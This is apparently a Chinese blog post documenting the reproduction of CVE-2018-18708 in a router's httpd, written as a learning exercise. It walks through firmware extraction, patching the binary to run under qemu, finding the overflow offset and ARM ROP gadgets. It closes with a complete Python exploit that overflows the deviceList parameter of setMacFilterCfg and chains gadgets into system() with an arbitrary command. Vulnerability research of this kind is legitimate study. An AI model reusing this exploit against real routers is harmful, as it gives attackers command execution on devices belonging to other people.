前言:复现了一道路由器cve的题。这里来记录一下,学习一下路由器漏洞挖掘的技巧,大佬勿喷
1、先去官方下载相应的固件版本进行审计 2、再用binwalk -t -e 对bin文件进行提取 3、根据cve-2018-18708的漏洞描述,它的中间件有漏洞。对它的bin目录下的httpd进行审计 4、遇到的一个问题就是在qemu启动这个httpd文件时候,会有检测网络的东西,所以我们要把它patch掉 现在就简绍一下如何patch arm程序为nop 首先:1、edit-》patch program-》change byte 32位下的nop:00 00 A0 E1 即可 5、再进行sudo chroot . ./qemu-arm-static -g 1234 bin/httpd启动就可以了 6、这里再用pattern create 300 个字符来测下溢出 7、经过ida进行代码审计,发现在cgi中有缓冲区溢出,也就是post传参,我可以写个python脚本进行测试 import requests
url = "http://127.0.0.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+ "A"*500} 8、cyclic -l taac 查找pc精确偏移 9、ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:
import requests
from pwn import *
cmd="echo hello"
libc_base = 0xff58c000
system_offset = 0x5a270
gadget1_offset = 0x18298
gadget2_offset = 0x40cb8
system_addr = libc_base + system_offset
gadget1 = libc_base + gadget1_offset
gadget2 = libc_base + gadget2_offset
payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://127.0.0.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+payload}
requests.post(url, cookies=cookie, data=data)
|